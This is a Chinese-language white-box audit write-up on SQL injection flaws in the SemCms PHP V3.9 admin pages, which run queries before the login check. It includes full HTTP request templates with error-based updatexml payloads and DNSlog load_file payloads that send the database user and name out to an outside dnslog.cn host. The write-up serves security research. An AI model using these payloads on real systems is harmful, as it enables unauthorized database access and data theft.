1 简述
CNVD看到的,开源的CMS可自行到官网下载,注入点有点多,不过admin地址是随机的,所以大概只能拿来自己学习
审计版本:SemCms PHP(多语)版 V3.9
漏洞类型:SQL注入
2 审计
首先看下注入检测,这套cms代码是在代码层面写了检测的,具体在Include\contorl.php
下。
采用黑名单检测,但只检测了部分关键字,这里默认对$_GET参数获取到的值进行了过滤,如下图所示
除此之外此文件下的test_input和Streplace函数在一定程度上也起到了防SQL注入的作用
然后看下代码里有没有什么绕过的方法或函数。。然而只找到了datato函数,把实体编码转回去
这里思路就很简单了:
- 找没调用上述函数的可控参数(主要为POST或REQUEST方式获得)
- 数据存储未进行实体编码,但查询时调用了datato进行了实体解码
- 绕检测
然后我找了下调用datato的位置,基本上都是输出html,没得搞,然后绕检测又太麻烦 ,最后还是找没调用上述函数的可控参数,这个cms里面有很多,不过。。我找到的都是在管理后台下的(如SEMCMS_Function.php),虽然不需要登录,但这管理路径名有随机字符啊!!而且这注入点还是无回显,差点给我干懵了
这对白盒审计来说意义不大,该水的还是得水, 这里选三个参数说明uid、AID、products_aurl
可以用正则方便查找(?<!test_input\(|verify_str\(|isset\()\$_POST
2.1 uid参数
相关代码如下图所示,此处可以看到进入条件是GET参数CF=="fenpei",然后进入SQL注入点需要POST参数ID不为空就行了,其他就没有什么条件限制了
接下来就看如何请求了,这个文件在开头实例化了AntDateProcess对象,而这个对象在并未在此文件下,所以我们找包含了SEMCMS_Function.php
的文件,找到SEMCMS_Top_include.php
跟进进去,在开头可看到包含了另一个文件,inc.php
里面写的是包含数据库连接文件db_conn.php
以及注入检测文件contorl.php
等。这里需要注意的是他写了个checkuser函数用于检测用户是否登录,但是这个函数是写在文件包含后面的,所以相当于无登录进行注入。
所以直接请求SEMCMS_Top_include.php就行了,因为这里是无回显的,所以可以进调试看下sql语句,请求构造
POST /Kmp31C_Admin/SEMCMS_Top_include.php?XDEBUG_SESSION_START=16454&CF=fenpei HTTP/1.1
Host: www.semcms.com
...
uid=123 and updatexml(1,concat(0x7e,user(),0x7e),1)#&ID=1
执行后可看到报错返回结果,证明此处注入存在
我这里用户权限较高,且secure_file_priv为空,未做限制,所以可以用dnslog进行带出数据,payload:123 and (select load_file(concat('\\',(select hex(user())),'.vkyohu.dnslog.cn\test')))#
发包后可获得结果
2.2 AID参数
也在SEMCMS_Function.php
下,这里把结果赋给了area_arr
,然后调用了implode参数,把数组元素组合为字符串,所以参数需要提供为AID数组AID[]=XXX
,不然其始终为null
找到注入点位置,此处看到个switch流程控制需条件为home
,向上跟进
第一处条件就是GET参数CF=="products"
,switch传入变量为Class
Class为GET参数
所以综上请求包格式为:
POST /Kmp31C_Admin/SEMCMS_Top_include.php?CF=products&Class=homes HTTP/1.1
Host: www.semcms.com
...
AID[]=1) and (select load_file(concat('\\\\',(select database()),'.7t9ikz.dnslog.cn\\sql_test')))#
还有个位置products_aurl就不写了,方法都一样,进入条件判断不来的话可以下断点调试,其他的注入点可以自己摸摸
评论已关闭